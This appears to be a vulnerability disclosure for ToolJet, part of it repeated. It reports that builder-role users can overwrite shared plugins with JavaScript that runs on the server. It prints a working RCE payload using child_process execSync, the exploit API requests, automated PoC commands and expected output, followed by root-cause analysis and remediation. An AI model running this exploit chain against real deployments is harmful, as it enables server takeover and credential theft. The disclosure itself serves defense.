Summary
Any authenticated user with builder role (free tier) can overwrite a globally-shared marketplace plugin with arbitrary JavaScript that executes server-side with full Node.js access (require, process). The malicious code runs whenever any user on the instance triggers a query using that plugin — achieving both RCE and supply-chain compromise of the entire ToolJet deployment.
CVSS 4.0 Score
9.9 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Affected Component
- Product: ToolJet (CE and Cloud editions)
- Version: 3.x (tested on latest)
- Component: Plugin update endpoint (
server/src/modules/plugins/controller.ts, service.ts, util.service.ts)
Attack Chain
Prerequisites
- Authenticated ToolJet account (free tier)
- Builder role in any workspace (default for workspace creators)
- At least one marketplace plugin installed on the instance
Step 1: Create a malicious GitHub repository
Create a public GitHub repo with these files:
Root files (included in the source zipball):
manifest.json — valid JSON matching ToolJet plugin schema
operations.json — valid JSON matching ToolJet operations schema
icon.svg — any valid SVG
Release asset (index.js uploaded as binary to a GitHub Release tagged v1.0.0):
class Exploit {
async run(sourceOptions, queryOptions) {
const { execSync } = require('child_process');
const output = execSync('id && hostname && cat /etc/os-release').toString();
return { status: 'ok', data: { result: output } };
}
}
module.exports = { default: Exploit };
Step 2: List installed marketplace plugins
GET /api/plugins
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>
Response includes all installed plugins with their UUIDs.
Step 3: Overwrite the plugin via PATCH
PATCH /api/plugins/<plugin-uuid>
Content-Type: application/json
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>
{
"pluginId": "openai",
"repo": "attacker/malicious-repo"
}
Response:
{
"id": "<plugin-uuid>",
"repo": "attacker/malicious-repo",
"version": "1.0.0",
"updatedAt": "2026-05-24T18:36:30.020Z"
}
The server fetches index.js from the attacker's GitHub release and stores it in the database, replacing the legitimate plugin code.
Step 4: Trigger execution
Create a data source using the poisoned plugin and run any query:
POST /api/data-queries/<query-id>/run
Authorization: Bearer <token>
tj-workspace-id: <workspace-id>
The plugin code executes in vm.runInNewContext() with full access to:
require — load any Node.js module including child_process
process — environment variables, process control
Buffer, fetch, setTimeout, setInterval
- Full
global object
Any other user on the instance who runs a query using the same plugin also triggers the malicious code.
PoC
A fully automated PoC is provided in the poc/ directory. All files needed (including the attacker payload repo contents) are self-contained.
Setup
cd poc/
# 1. Start local ToolJet instance
docker compose up -d
# 2. Wait ~30-60s for startup, then sign up at http://localhost:8080
# 3. Create the attacker payload repo on GitHub (requires `gh` CLI, authenticated)
./setup_repo.sh my-poc-payload
# 4. Run the exploit (fully automated — installs plugin, poisons, triggers RCE, reverts)
pip install requests
python3 exploit.py --url http://localhost:8080 \
--email user@test.com --password pass123 \
--repo <your-github-user>/my-poc-payload
What the script does
- Authenticates and obtains a session
- Installs a marketplace plugin (OpenAI) from the legitimate S3 source if none exist
- PATCHes the plugin's
repo field → server fetches malicious index.js from attacker's GitHub release
- Creates a data source linked to the poisoned plugin (via
docker exec into postgres)
- Triggers a query via the preview endpoint → server-side RCE
- Prints command output and reverts the plugin
Expected output
[*] Poisoning plugin 'OpenAI' (...) with repo: youruser/my-poc-payload
[*] Plugin poisoned — malicious index.js stored in database
[*] Triggering code execution...
[*] ============================================================
[*] RCE OUTPUT:
[*] ============================================================
{
"result": "uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n<container-id>\nPRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\n..."
}
[*] ============================================================
[*] Reverting plugin 'OpenAI' to legitimate S3 source...
[*] Plugin reverted successfully
PoC directory structure
poc/
├── docker-compose.yaml # Local ToolJet CE instance
├── .env # Environment config for Docker
├── exploit.py # Automated exploit script
├── setup_repo.sh # Creates the GitHub payload repo + release
└── repo/ # Attacker payload files (push to your own GitHub repo)
├── index.js # RCE payload (execSync('id && hostname ...'))
├── manifest.json # Valid ToolJet plugin manifest
├── operations.json # Valid ToolJet operations schema
└── icon.svg # Plugin icon
Root Cause Analysis
1. No authorization boundary on plugin updates
The PATCH /api/plugins/:id endpoint only checks isBuilder permission. Any builder in any workspace can modify plugins that are shared globally across the entire instance. The plugin entity has no organizationId column — all workspaces share the same plugin rows.
2. Update path bypasses install validation
The install() method validates plugin files via JSON.parse(manifest.toString()). But the update() method calls upgrade() directly, which uses js-base64.encode(file) that correctly handles ArrayBuffers — bypassing the validation entirely.
Code flow:
install() → fetchPluginFiles() → JSON.parse(manifest.toString()) → FAILS (ArrayBuffer bug)
update() → fetchPluginFiles() → upgrade() → encode(file) → SUCCEEDS
3. Unsafe code execution sandbox
Plugin code executes in Node.js vm.runInNewContext() with require and process exposed in the sandbox context (plugin-selector.service.ts:61-194). The vm module is explicitly not a security mechanism.
const sandbox = createContext({
...global,
require: require, // Full Node.js require
process: process, // Full process object
console: console,
Buffer: Buffer,
global: global,
});
runInNewContext(decoded, sandbox);
4. No integrity verification
No signature, hash, or allowlist check on plugin code fetched from GitHub. Any public repository URL is accepted via the repo field (@IsString() only).
Impact
| Impact |
Description |
| RCE |
Arbitrary command execution on the ToolJet server |
| Supply chain |
Poisoned plugin affects ALL users across ALL workspaces on the instance |
| Lateral movement |
Access to environment variables, internal network, database credentials, other services |
| Stealth |
Payload executes only when queries run — no immediate indicators |
| Persistence |
Malicious code persists in DB until plugin is reverted or reinstalled |
Key Files
| File |
Role |
server/src/modules/plugins/controller.ts:83 |
PATCH endpoint — no additional guard |
server/src/modules/plugins/service.ts:69-73 |
update() — calls fetchPluginFiles + upgrade, no validation |
server/src/modules/plugins/util.service.ts:128-177 |
fetchPluginFilesFromRepo() — fetches from any GitHub repo |
server/src/modules/plugins/util.service.ts:264-313 |
upgrade() — stores code via encode() |
server/src/modules/data-sources/services/plugin-selector.service.ts:61-194 |
VM execution with require/process |
server/src/entities/plugin.entity.ts |
No organizationId — plugins are global |
Remediation
P0 (Immediate)
- Restrict plugin PATCH/update to instance admin only — builders should not be able to modify globally-shared plugins
- Scope plugins per-organization — add
organizationId to the plugin entity
P1 (High)
- Remove
require and process from VM sandbox — use isolated-vm (already used for workflows) instead of Node.js vm
- Allowlist plugin repos — only accept updates from
github.com/ToolJet/* or verify a signed manifest
P2 (Medium)
- Add integrity checks — verify plugin code against a signed hash before execution
- Gate the API, not just the UI — the marketplace UI is hidden on some editions via a frontend check, but the API endpoints remain fully accessible
Artifacts
Full report + PoC
Timeline
| Date |
Event |
| 2026-05-24 |
Vulnerability discovered and confirmed |
| 2026-05-24 |
This report drafted |
Summary
Any authenticated user with builder role (free tier) can overwrite a globally-shared marketplace plugin with arbitrary JavaScript that executes server-side with full Node.js access (
require,process). The malicious code runs whenever any user on the instance triggers a query using that plugin — achieving both RCE and supply-chain compromise of the entire ToolJet deployment.CVSS 4.0 Score
9.9 (Critical)
Affected Component
server/src/modules/plugins/controller.ts,service.ts,util.service.ts)Attack Chain
Prerequisites
Step 1: Create a malicious GitHub repository
Create a public GitHub repo with these files:
Root files (included in the source zipball):
manifest.json— valid JSON matching ToolJet plugin schemaoperations.json— valid JSON matching ToolJet operations schemaicon.svg— any valid SVGRelease asset (
index.jsuploaded as binary to a GitHub Release taggedv1.0.0):Step 2: List installed marketplace plugins
Response includes all installed plugins with their UUIDs.
Step 3: Overwrite the plugin via PATCH
Response:
{ "id": "<plugin-uuid>", "repo": "attacker/malicious-repo", "version": "1.0.0", "updatedAt": "2026-05-24T18:36:30.020Z" }The server fetches
index.jsfrom the attacker's GitHub release and stores it in the database, replacing the legitimate plugin code.Step 4: Trigger execution
Create a data source using the poisoned plugin and run any query:
The plugin code executes in
vm.runInNewContext()with full access to:require— load any Node.js module includingchild_processprocess— environment variables, process controlBuffer,fetch,setTimeout,setIntervalglobalobjectAny other user on the instance who runs a query using the same plugin also triggers the malicious code.
PoC
A fully automated PoC is provided in the
poc/directory. All files needed (including the attacker payload repo contents) are self-contained.Setup
What the script does
repofield → server fetches maliciousindex.jsfrom attacker's GitHub releasedocker execinto postgres)Expected output
PoC directory structure
Root Cause Analysis
1. No authorization boundary on plugin updates
The
PATCH /api/plugins/:idendpoint only checksisBuilderpermission. Any builder in any workspace can modify plugins that are shared globally across the entire instance. The plugin entity has noorganizationIdcolumn — all workspaces share the same plugin rows.2. Update path bypasses install validation
The
install()method validates plugin files viaJSON.parse(manifest.toString()). But theupdate()method callsupgrade()directly, which usesjs-base64.encode(file)that correctly handles ArrayBuffers — bypassing the validation entirely.Code flow:
3. Unsafe code execution sandbox
Plugin code executes in Node.js
vm.runInNewContext()withrequireandprocessexposed in the sandbox context (plugin-selector.service.ts:61-194). Thevmmodule is explicitly not a security mechanism.4. No integrity verification
No signature, hash, or allowlist check on plugin code fetched from GitHub. Any public repository URL is accepted via the
repofield (@IsString()only).Impact
Key Files
server/src/modules/plugins/controller.ts:83server/src/modules/plugins/service.ts:69-73update()— calls fetchPluginFiles + upgrade, no validationserver/src/modules/plugins/util.service.ts:128-177fetchPluginFilesFromRepo()— fetches from any GitHub reposerver/src/modules/plugins/util.service.ts:264-313upgrade()— stores code via encode()server/src/modules/data-sources/services/plugin-selector.service.ts:61-194server/src/entities/plugin.entity.tsRemediation
P0 (Immediate)
organizationIdto the plugin entityP1 (High)
requireandprocessfrom VM sandbox — useisolated-vm(already used for workflows) instead of Node.jsvmgithub.com/ToolJet/*or verify a signed manifestP2 (Medium)
Artifacts
Full report + PoC
Timeline